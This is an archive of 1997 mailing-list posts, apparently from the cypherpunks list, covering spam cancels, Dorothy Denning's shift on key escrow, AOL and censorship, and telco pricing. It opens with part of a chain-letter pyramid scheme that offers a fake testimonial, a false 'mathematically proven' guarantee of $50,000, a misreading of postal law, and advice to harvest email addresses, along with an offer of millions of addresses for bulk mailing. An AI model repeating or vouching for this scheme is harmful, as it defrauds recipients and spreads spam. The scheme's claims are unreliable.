"IT WAS TRULY AMAZING"

Not being the gambling type. It took me several weeks to make up my mind to 
participate in this program. But Conservative as I am, I decided that initial
investment was so little that there was no way that I could NOT get enough 
orders to get my small investment back. BOY, was I ever surprised when I 
found my medium sized post office box crammed with orders. I will make more 
money this year than I have in the past 10 years of my life, before I  
started this program.

Mary Riceland, Lansing. MI
- - - - - - - - - - - - - - - - - - - - - - - -
TIPS FOR SUCCESS

Send for your 4 REPORTS immediately so you will have them when the order 
start rolling in. When you receive your $5 dollar order you MUST send out 
the Product/service in order to comply with US Postal and Lottery Laws.
Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR 
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".
- - - - - - - - - - - - - - - - - - - - - - - - 
WHILE YOU WAIT FOR YOUR REPORTS TO ARRIVE:

1. Name your company, File for a fictitious business license at your county 
clerks office (+/- $15.00) if you don't use your name as the companies name.

2. Get a post office box (preferred).

3. Edit the names and address's on the program. You must remember that your 
name or your business name and address goes next to REPORT#1. And all the 
others move DOWN 1, with  the fourth being drooped off the list all together.

4. OBTAIN AS MANY EMAIL ADDRESS AS YOU CAN GET YOUR HANDS ON, Read REPORT 
#3 for information on mailing list companies.

5. Decide on the Number of PROGRAMS you need to send out to meet your 
financial goal. The more you send and the quicker you send them, the more 
money you will make.

6. After mailing the programs get ready to fill the orders.

7. Copy the 4 REPORTS so that you can send them out AS SOON as you receive 
an order.  IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON THE ORDERS YOU 
RECEIVE.!

8. Make certain all letters and reports are neat and legible.
- - - - - - - - - - - - - - - - - - - - - - - - -
YOUR GUARANTEE

The check point that GUARANTEES your success is simply this: you must receive
15 to 20 orders for report #1. This is a must. If you don't with in 2 weeks 
email out more programs.

Then a couple of weeks later you should receive 100 or more orders for  
report #2. (Take a deep  breath) you can now sit back and relax , Because 
YOU ARE GOING TO MAKE AT LEAST $50,000!!!!!!, Mathematically it is a proven 
guarantee. Of those who have participated in the program and reached the 
above GUARANTEES-ALL have reached their  $50,000 goal. Also, remember, 
every time that your name is moved down the list  you are in front of a 
different REPORT. You can keep track of your status in the program by which 
REPORT people are ordering from you. IT'S THAT EASY!!!REALLY, IT IS!!!!!!!!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY , MONEY NOW OR SEARCH FOR IT THE REST OF YOUR 
LIFE"
- - - - - - - - - - - - - - - - - - - - - - - - - 
end of program
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
DO NOT INCLUDE THE FOLLOWING INFORMATION IN THE REPLICATION OF THIS PROGRAM!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

"MCE MARKETING" PROUDLY PRESENTS->

MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY!!

As a immediate DOWNLINE DISTRIBUTOR, MCE MARKETING will provide you with 25,000 freshly compiled and targeted email address's and step by step instructions on how implement your distribution. Including Instructions on Pegasus Email download/ installation
 and operation. (YOUR ADDRESS's ARE FORMATTED AS PEGASUS EMAIL DISTRIBUTION LISTS.) You will receive all the information in easy to read and follow instructions on how to participate in this exciting promotion. 


This is an exclusive offer to the first 220 immediate DOWNLINE DISTRIBUTORS who purchase REPORT #1 ""HOW TO MAKE  $250,000 THROUGH MULTI-LEVEL SALES" from MCE MARKETING, for this program offer only.!!!!!!!!!!!!!!!!!!  THAT'S A  5.5 MILLION EMAIL ADDRESS 
PROMOTIONAL GIVE AWAY!!!!!!!!!!!!!!!!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 07:04:22 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <19970731090412.58654@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Newsadmins who auto-cancel cross-posts are acting counter-productively
> and censorously.

	I'm not aware of anybody that does that.  The only crossposts that
are killed are those that reach a BI of 20, and for a single post to do
that would require the message to be crossposted to 400 newsgroups.  Which
doesn't happen.

	It might interest you to know that a cancel will kill all the
crossposts in a single message, BTW.  Your "cancelling 99 of the 100
articles thing" does save lots of reader time.  

	(If you're going to talk about cancels authoritatively, please
read my Cancel FAQ - it's got huge piles of information on this stuff.)

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon
Cancel FAQ




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 05:40:22 -0700 (PDT)
To: rbrewer@op.net
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <m3pvrz92rd.fsf_-_@wiz.rob.net>
Message-ID: <199707311120.MAA00669@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



A good post.  Your notice-board analogy was reasonable.

How about this as a stop gap measure: rather than sending cancels for
spams posted to multiple newsgroups, simply modify the distribution.
That is cancel all but one groups worth of articles, and then modify
the Newsgroups line to cross-post to all the groups the article was
originally posted to.

That way you are not as such "cancelling" anything as a net result,
but are just "compressing" your news spool or downstream feed, no
information is lost (other than the information that the poster is
clueless and doesn't know how to cross-post, which is now disguised by
a compression agent trawling through the news spool fixing things up).

Sound reasonable?

If news admins, or others getting involved with issuing forged cancels
are not willing to do this it suggests that they are making judgements
about the content of the posts as well as claiming to want to save
bandwidth.


Another longer term way to improve the situation is to charge some
small token amount per article, just to encourage people to use it
with some intelligence (use cross posts rather than separately
reposting to each group).

It is also entirely possible for people to have 'bots which auto-post
in response to articles matching keywords, or matching authors.
(We've seen a few of these on cypherpunks).

If people want to make a nuisance for others by spewing random garbage
via bots to newsgroups, they could post mega bytes of stuff per day
and swamp the content.  What can you do about this?  Charging a small
amount per post, or per megabyte would provide a small disincentive
for this type of behaviour.  However it would never reflect the true
cost to USENET bandwidth as a whole.

One interesting idea which has been floated on this list in the past
is for authors to have their free posting rate moderated by other
peoples ratings of their posts.

One way to implement this is for other people to pay the author for
their articles a penny if they like the article.  That way people who
write things which others find interesting to read get subsidized
posting.  Is it still free speech if you have to pay for your posts if
you're arguing for an unpopular minority?

Also, this might be an interesting information market model because
technical experts might even find themselves with a well paid job of
answering technical questions in newsgroups.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 31 Jul 1997 12:59:13 -0700 (PDT)
To: m.pool@pharos.com.au
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707311958.MAA25081@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Martin Pool writes:
> Dave Hayes wrote:
> > Sandy Harris writes:
> > > What this scum is actually upset about is Chris Lewis cancelling
> > > spam. He calls that "forgery" because the spammer's name goes
> > > in the sender field of the cancel message. Nonsense.
> > According to RFC 1036 forging cancels for articles that do not
> > originate from your news site is not allowed. He is clearly in
> > violation of the RFCs. Spam jihads are not sufficient reason
> > to ignore internet protocols.
> Spamming is a crime (theft of computer resources) 

I don't know that I can agree with that and still be for freedom.  By
that standard, so is posting or mailing "non spam" articles containing
a topic that the owner of a recipient machine is not interested
in. The magnitude of the theft is not relavent.

> and sometimes such acts may be justifiable self-defense, such as
> when I steal from my employer because they don't pay me enough, or
> when I lie on my income tax forms because I want to keep my money
> for myself.

My point of focus is freedom. Deleting others' messages is not
justifiable for -any- reason, IMO. If you have a problem with what
is sent, you should take it up with the source of the transmission.
The carriers of that transmission cannot care about the content and
still profess to be "free" in any way.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A person was frighteningly ugly. Once he was asked how could he go on
living with such a terrible face. "Why should I be unhappy?", answered
the man. "I never see my own face; let others worry."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 06:05:49 -0700 (PDT)
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <Pine.LNX.3.93.970731185306.693C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> A good post.  Your notice-board analogy was reasonable.

[...]

> That is cancel all but one groups worth of articles, and then modify
> the Newsgroups line to cross-post to all the groups the article was
> originally posted to.

No that is worce,  it would be forgery of the orginal post.  In addtion it
would violate the usenet requirement to avoid modifing the post.

[...]

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.

No this would mean unpopular (but often neccery) peaple would be forced
off usenet.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+BT/qQK0ynCmdStAQGREAQA0JdVS7fUyLdhF1iTFQ5xaWYzoCBBoMgY
2MjYjC1BNvOt0Ju5r7S/J96RhGHDgqSV7whYLzxNy2a0dqYViGfnO/5JsPxbPRre
SmISeEEkdL8nsgWu95FJklU/d3Npz1FhdS1ACed1QMKufZjx+t+dfzWXtDTsINtB
lSuzo2tJikI=
=M0p6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 06:15:47 -0700 (PDT)
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <Pine.LNX.3.93.970731190252.693D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Ryan Anderson wrote:

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

No there not.  Nobody should cancel things because there illegle, if
canceled it is because there over 20BI.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+BWVaQK0ynCmdStAQGbhAQAnhePEY1TWMhUMW+y4w/kZKKIDMWmrHw0
fgB+O1by5hKANN22+hwTo7ixpPgR0+AZXvGFCcyGggNAv7oXof+KKp/cgWio5+X7
lBfg0TGCuf08VWIUFX4VHtpM1vufhNtzfBI4QiFjWo8SHZK1qzjICA3/wU41nIfw
l7tewaCM7AI=
=ax7/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Thu, 31 Jul 1997 21:52:04 -0700 (PDT)
To: you@yourplace.com
Subject: Boost Your Sales With 40 Million New Prospects!
Message-ID: <199702161035.GAA08056@bizproplus.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 78173518@arosnet.se
Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
To: buy.golfballs@lower.prices
Subject: golf stuff
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toner98@hotmail.com
Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST)
To: Friend@public.com
Subject: TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.xanadu.com>
Date: Fri, 11 Jul 1997 03:59:44 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: MEETING: July SF Bay Area Meeting Saturday at Stanford
Message-ID: <199707111057.DAA05815@ecotone.xanadu.com>
MIME-Version: 1.0
Content-Type: text/plain



What:		San Francisco Bay Aera Cypherpunks Phyical Meeting
Where:		Under the Oak Tree at Tressider Union, Stanford University
When:		Saturday July 12th, 1997

Agenda:
		HIP'97 Planing, Dave Del Torto
		Freeh's Statement before Congress, Group
		ECash update, Jeremey Barrett
		PGP Library 5 & PGP/MIME Updates, Dave Del Torto
		FreeS/WAN dryrun, Hugh Daniel
		What ever else comes to mind...

  We will be meeting under the Oak Tree that is inside the "U" shape
of Tresidder Union, the weather report looks good.  Bring your
Ricochet...
  Tresidder Union is a little (peninsula) west of the Stanford main
Quad, there is a parking lot just p-west of of the Union that you can
park in on weekends.  The best automotive access is from the west via
Junipero Serra Blvd. (also somtimes called Foothill Expressway, Santa
Cruz Ave & Alameda De Las Pulgus) into the 'back' of the Stanford
Campus, look it up on a map folks.  For some semi-useful maps try:
http://www.stanford.edu/home/visitors/maps.html
or for a zoomed in view to the right section of campus:
http://www.stanford.edu/home/map/stanford_zoom_map.html?209,284




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46781220@20384.com
Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT)
To: mktng@powerup-ss.com
Subject: IMMEDIATE CASH
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:46:48 +0800
To: cypherpunks@toad.com
Subject: Dorothy Denning changes Escrow position
Message-ID: <3.0.2.32.19970801003421.007786bc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



There was an article in today's San Jose Mercury News that
Dorothy Denning, the leading academic supporter of the Administration's
anti-crypto stance, has backed off from that position.
She's put out a paper along with William Baugh of SAIC (!) which 
among other things includes a survey of law enforcement officers
on how much they've encountered crypto and how much difference it's made,
and the answer has been that it hasn't made much difference --
of the few criminals who use crypto, some use wimpy algorithms,
some are careless with their password handling, some get fingered by
stool pigeons, and some mainly use their crypto for information
not relevant to the case they're being investigated for.
She's now taking a much less certain, more neutral position.
Way to go, Dorothy!

It's especially important because Dr. Denning was the main independent
supporter of encryption limitations, and has a lot of reputation invested
in it, so changing her position is a big step.  The FBI has a vested
interest - without Communists to chase around, Director Freeh is off 
chasing drug dealers in the name of "national security".  And the 
industrial support for key escrow has primarily been from companies that 
get to export their products in return for adding it, though there have 
been a few firms like TIS that have developed it for its own sake.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 1 Aug 1997 13:58:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <3.0.2.32.19970801014939.006cc110@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:31 AM 8/1/97 +0200, Anonymous wrote:
>
>  As a matter of fact, the mere thought of this happening has caused
>Attila to go into a state of "brain-lock" wherein he sits at his
>keyboard, sending the same message, over and over again, to the list.
>  It will be interesting to see what happens to Attila's brain if
>Clinton ever vetos a bill because it subverts the Constitution.


FWIW, all of Atilla's messages have the same exact time, i.e., Thu, 31 Jul 97
23:34:37 or 11:34 P.M.  Looks more like a server with a bad case of the
hiccups....

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tqpXatuWF5U=
=3gNj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 04:48:55 +0800
Subject: RE: Entrust Technologies's Solo - free download
In-Reply-To: <199707311816.NAA21627@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970801022955.108B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, William H. Geiger III wrote:

[...]

> Now, myself would require more information as to Chris Lewis' envolvement
> with Nortel & their security products before I would be willing to come to
> the same conclution that Dimitri has.

IIRC he is in charge of network securaty at Nortel.  But I dout that he
is involved in R&D.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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=DjUk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 1 Aug 1997 15:55:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311754.MAA21360@mailhub.amaranth.com>
Message-ID: <v03007800b0072e77c017@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	Tim May <tcmay@got.net> rejected reports of D. Denning's change of
heart:

>And her "second thoughts" on GAK were not based on a principled repudiation
>of the concept of "escrowing" keys, or on Constitutional grounds,  but only
>on the grounds that her study did not show that many criminal cases were
>much affected by the lack of key escrow.
>
>So what if they had?
>
>(Insert usual arguments here about how many consitutionally-protected
>rights affect criminal investigations, but that this is no reason to ban
>window shades, locks on doors, whispering, etc.)
>
>Denning and her allies can always support GAK in the future, when "new
>studies indicate that law enforcement is being severely hampered by the
>growing menace of unbreakable cryptography."
>
>I never trust utilitarian arguments on things of this importance.

	To note the obvious, the Constitutional argument cuts both ways,
with warranted access to "private papers," versus the Founding Fathers'
proto-privacy and their rude distrust of federal power.  (It's kind of like
the abortion debate, where the premise you start off with almost dictates
which conclusion you arrive at, many steps later.)  Denning's pragmatic,
utilitarian, arguments are useful, but I suggest they mask a deeper shift
of primacy among competing principles.

	Utilitarian arguments are historically (even in C'punks;-) used to
defend a pre-defined philosophical position.  (And anyone who thinks that
it would have been hard to tilt the Denning/Baugh study with reports of
crypto use by drug cartels and distributors, even within the US, is just
out of touch.)

	Of course, crypto has (and will in the future) muck up criminal
investigations!

	On the evidence her comments over the past four months, I think it
is clear Prof. Denning has had some profound second thoughts about ultimate
cultural values and the balance of power between the state and the
individual.   (Make your appointment, Declan! When Dorothy is ready to talk
about this, it will be _very_ interesting.)  Denning, like many on the
other side, is smart & idealistic.  This study and other recent statements
have her overtly balking at being herded along the pro-GAK path... at the
very time the US LEA chiefs are twisting every arm they can to demonize
free access to strong crypto.  That proves her to be thoughtful as well.
Not many standard-bearers cross from one side to the other in this debate.

	Dennings refusal to offer rote support for the LEAs now is itself a
major event in this debate, with significant implications in Congress.

	For players who operate at the level Denning has worked, I have a
gut sense that the international issues -- the multi-cultural,
multi-national, Merchantile side of the debate -- are often much more
important than they have been in the Stateside discussion, such as it is.

	Restructuring world commerce around "licenses" from various
national spy organizations is a disconcerting prospect for many, with
widely-varied political identities.  Also, Denning's middle-class trust in
American government agencies doesn't have a direct parallel in European
political culture -- and once people notice that, the contrasting views of
the state are often disconcerting.

	(Most countries, even in Europe, vividly recall foreign occupation
-- which gives a notable tweak to presumptions of bureaucratic Virtue.)

	Dorothy Denning will never march under a Libertarian flag, but
neither will I. There are other banners which are on the same side of the
barricades, guys.  No need to shoot all your allies until after the
Revolution.  And, if we win it together, you may need a consensus before
anyone shoots anyone, AP notwithstanding;-)

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 1 Aug 1997 16:52:35 +0800
To: cypherpunks@Algebra.COM
Subject: Self-imposed censorship
Message-ID: <19970801044418.63467@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain



>There are a great many ironies here, but the greatest
>irony is that the censorship will be self-imposed --
>we're doing it for the sake of family, parents,
>children.

"Arresting Katherine was the government's way of taping our mouths
shut. Yet they had to realize that beating heads was the last way to
tame minds. Benevolence was always the first choice of rule for our
ancient emperors. The goal was to make people obey with their hearts
instead of with their mouths."
 -_Katherine_, by Anchee Min

"Ye have locked yerselves up in cages of fear - and behold, do ye
now complain that ye lack FREEDOM!"
 - _Principia Discordia_

It is not enough to fear Big Brother. You must love him.

--
"There's no way the federal government could oppress the citizens, because
the populace is armed to the teeth, and the officials would just get their
heads blown off."
 - James Madison argues the pro-government position, Federalist Papers #46





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 14:29:36 +0800
To: Toto <cypherpunks@cyberpass.net>
Subject: OverRun Msgs Re: Denning questions/reverses her position?
Message-ID: <199708010622.AAA19605@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970731:2245 it was expostulated:

+::
+Anon-To: cypherpunks@toad.com

+Attila T. Hun wrote: 
+>     I'm too old for this!  I never thought I would see the day that
+>     Dorothy Denning would terminate her star role as a shill for the
+>     Clinton/LEA encryption ban!

+  As a matter of fact, the mere thought of this happening has caused
+Attila to go into a state of "brain-lock" wherein he sits at his
+keyboard, sending the same message, over and over again, to the list.
+  It will be interesting to see what happens to Attila's brain if
+Clinton ever vetos a bill because it subverts the Constitution.

+  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
+Weather Network reports that Hell froze over shortly before Denning's
+new position statement.

+TruthMonger

    dunno why the message was repeated at cyberpass --each of the 55
    copies I received as of 20 minutes ago has exactly the same header
    date from cyberpass.  that and one of them smoked the primary
    mailbox with a couple hundred null characters.  hun.attila.org
    was offline so it could not have generated the extra messages --so
    where did they loop?  only the shadow knows. If it is something
    by remote SMPT added on, I apologize for the inconvenience.

    the image of my brain in "brain-lock" is apt enough for the reaction;
    as for the flying pig and Hell freezes over --that too. Denning is
    still Denning, and maybe she's just angling for more shill money 
    before she gets back on the track.

    yes, if Clinton ever vetos a bill just because it violats the 
    Constitution, I probably would be gone....

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
-----BEGIN PGP SIGNATURE-----
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Charset: latin1
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 22:30:28 +0800
To: cypherpunks@toad.com
Subject: Letter to AOL on "proposed censorship summit with radical right" (fwd)
Message-ID: <Pine.GSO.3.95.970801071645.488D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 07:16:14 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Letter to AOL on "proposed censorship summit with radical right"



---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 10:09:12 -0400 (EDT)
From: WildcatPrs@aol.com
To: declanmccullagh <declan@well.com>
Subject: Fwd: Your Proposed Censorship Summit with Radical Right Leaders

---------------------
Forwarded message:
Subj:    Your Proposed Censorship Summit with Radical Right Leaders
Date:    97-07-31 11:43:06 EDT
From:    WildcatPrs
To:      Steve Case

Dear Steve Case,

As one of the plaintiffs in the ACLU/ALA case on the CDA, who saw it through
all the way to the Supreme Court, I am shocked and dismayed that you would
dignify the demands of the Christian Coalition et al by sitting down with
them in such a summit.

You know and I know that America Online will leave that negotiating table
having made major concessions on the subject of Internet censorship -- not
only for content on gay and lesbian and AIDS, but also women's issues and
many other subjects.   The religious right have a very long list of subjects
that they would like to censor out of U.S. libraries, schools and
media...which you will discover if you take the trouble to read BANNED BOOKS,
published each year by the ALA.

Get a clue, Mr. Case  This battle over "content" is not really about "child
pornography."  It is a thinly veiled disguise for the radical right's efforts
to impose its total belief and its proposed penal system on the people of the
United States.  It wants to have the United States be like the Colony of
Massachusetts before the Revolution.  I suggest you read some history, and
ponder whether you would have liked living under the religious dictatorship
that ran the colony.

Between 1962 and 1972, I lived in Spain as a working journalist for the
Reader's Digest, working out of its office in Madrid, and I saw in operation
just the kind of right-wing censorship system that the Christian Coalition et
al would like to impose on this country.  Part of its success involved just
the kind of "self-censorship" that you are now proposing to slap on your own
company.  You are no different than the Spanish book publishers who sat down
with the Catholic Church and agreed on what could be published.   As a
result, Spanish culture languished.  The Spanish people reached the point
where they had lots of jokes about self-censorship and didn't take their own
media or culture seriously.   It all came to an end in 1975, when Franco
died, and the Spanish people were so sick of church and censors that the new
government moved to end the hegemony of the Spanish Catholic Church and put
an end to censorship.

So shame on you for moving to introduce this kind of censorship to the United
States of America.   I have been a loyal customer of AOL since I got onto the
Internet two years ago, and I will take my business elsewhere if you go
through with this summit.

Sincerely,
Patricia Nell Warren

Wildcat Press
8306 Wilshire Blvd. Box 8306
Beverly Hills, CA 90211
213/966-2466
213/966-2467 fax







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 1 Aug 1997 21:49:11 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707311540.RAA01345@basement.replay.com>
Message-ID: <33E1E37A.765@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> James Love wrote:
> 
> >    On your other point, I really don't agree that is morally wrong to
> >take steps to prevent children from having access to pornography.
> >People may propose ways of doing this which are objectionable, but the
> >basic goal is hardly immoral.  Indeed, many think it is immoral not to
> >protect children.
> 
> Yes, yes...one man's morality is another's immorality.  Each of them thinks
> of himself as "being in the right" and sees the others as wrong or even
> "evil"  (witness the anti-BoyLover zealotry).  Different subjects but the
> same bullshit.  See the futility of it yet, Jamie?

Agreed.  Every religion and culture has a different set of standards and
values that it's people use to judge others by.  We will always piss off
someone.
 
> If parents find pornography objectionable for their children, then they
> must take ultimate responsibility to keep pornography away from their kids.
>  If they are not willing to do this, then they should not have had the
> children in the first place.  It's up to them to take care of their kids.
> Not you, not me, not the government, and not some "voluntary" ratings
> system.

I don't think I have seen this said better anywhere.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:44:40 +0800
To: cypherpunks@toad.com
Subject: Attila T. Spammer / Re: Denning questions/reverses her position?
Message-ID: <199708010531.HAA23603@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote: 
>     I'm too old for this!  I never thought I would see the day that
>     Dorothy Denning would terminate her star role as a shill for the
>     Clinton/LEA encryption ban!

  As a matter of fact, the mere thought of this happening has caused
Attila to go into a state of "brain-lock" wherein he sits at his
keyboard, sending the same message, over and over again, to the list.
  It will be interesting to see what happens to Attila's brain if
Clinton ever vetos a bill because it subverts the Constitution.

  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
Weather Network reports that Hell froze over shortly before Denning's
new position statement.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:48:51 +0800
To: cypherpunks@toad.com
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
Message-ID: <199708010535.HAA23978@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Telco Terrorism
> By Declan McCullagh (declan@well.com)

> Right now, the telcos have no financial incentive to
> promote speedier, more efficient technologies - and
> when they've tried, they've blown it through a
> combination of high prices and notoriously bad
> customer service and support. Take ISDN, a digital
> technology that has been ready-to-arrive for 25 years
> but never quite did. "The problem isn't technology,"
> according to James Love, an economist at the Ralph
> Nader-sponsored Consumer Project on Technology. "It's
> monopoly pricing by the telcos."

   If the telcos don't want to use efficient, effective technology
to render service to their customers, then I certainly wouldn't
want to *force* them to do so. However, neither do I want to be
*forced* to pay exhorbitant rates because the telecos want to
maintain a sloppily run monopoly on the services I have to choose
from.

> The telcos' solution: the FCC must let them levy
